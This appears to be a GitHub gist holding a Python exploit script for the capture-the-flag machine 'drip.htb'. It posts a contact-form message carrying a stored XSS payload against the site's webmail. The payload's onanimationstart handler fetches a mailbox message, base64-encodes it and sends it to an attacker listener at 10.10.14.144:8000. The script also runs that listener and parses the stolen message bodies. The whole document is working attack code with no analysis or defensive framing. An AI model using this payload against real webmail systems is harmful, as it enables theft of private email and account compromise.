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@twilightty
Created February 12, 2025 06:44
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import requests
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import threading
from lxml import html
# Configuration
TARGET_URL = 'http://drip.htb/contact'
LISTEN_PORT = 8000
LISTEN_IP = '0.0.0.0'
# Payload for the POST request
start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='
message = 4
end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>'
post_data = {
'name': 'asdf',
'email': 'asdf',
'message': f"{start_mesg}{message}{end_mesg}",
'content': 'html',
'recipient': '[email protected]'
}
print(f"{start_mesg}{message}{end_mesg}")
# Headers for the POST request
headers = {
'Host': 'drip.htb',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://drip.htb',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://drip.htb/index',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',
'Connection': 'close'
}
# Function to send the POST request
def send_post():
response = requests.post(TARGET_URL, data=post_data, headers=headers)
print(f"[+] POST Request Sent! Status Code: {response.status_code}")
# Custom HTTP request handler to capture and decode the incoming data
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if '/c=' in self.path:
encoded_data = self.path.split('/c=')[1]
decoded_data = base64.b64decode(encoded_data).decode('latin-1')
print(f"[+] Received data {decoded_data}")
tree = html.fromstring(decoded_data)
# XPath query to find the div with id 'messagebody'
message_body = tree.xpath('//div[@id="messagebody"]')
# Check if the div exists and extract the content
if message_body:
# Extract inner text, preserving line breaks
message_text = message_body[0].text_content().strip()
print("[+] Extracted Message Body Content:\n")
print(message_text)
else:
print("[!] No div with id 'messagebody' found.")
else:
print("[!] Received request but no data found.")
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
def log_message(self, format, *args):
return # Suppress default logging
# Function to start the HTTP server
def start_server():
server_address = (LISTEN_IP, LISTEN_PORT)
httpd = HTTPServer(server_address, RequestHandler)
print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")
httpd.serve_forever()
# Run the HTTP server in a separate thread
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()
# Send the POST request
send_post()
# Keep the main thread alive to continue listening
try:
while True:
pass
except KeyboardInterrupt:
print("\n[+] Stopping server.")
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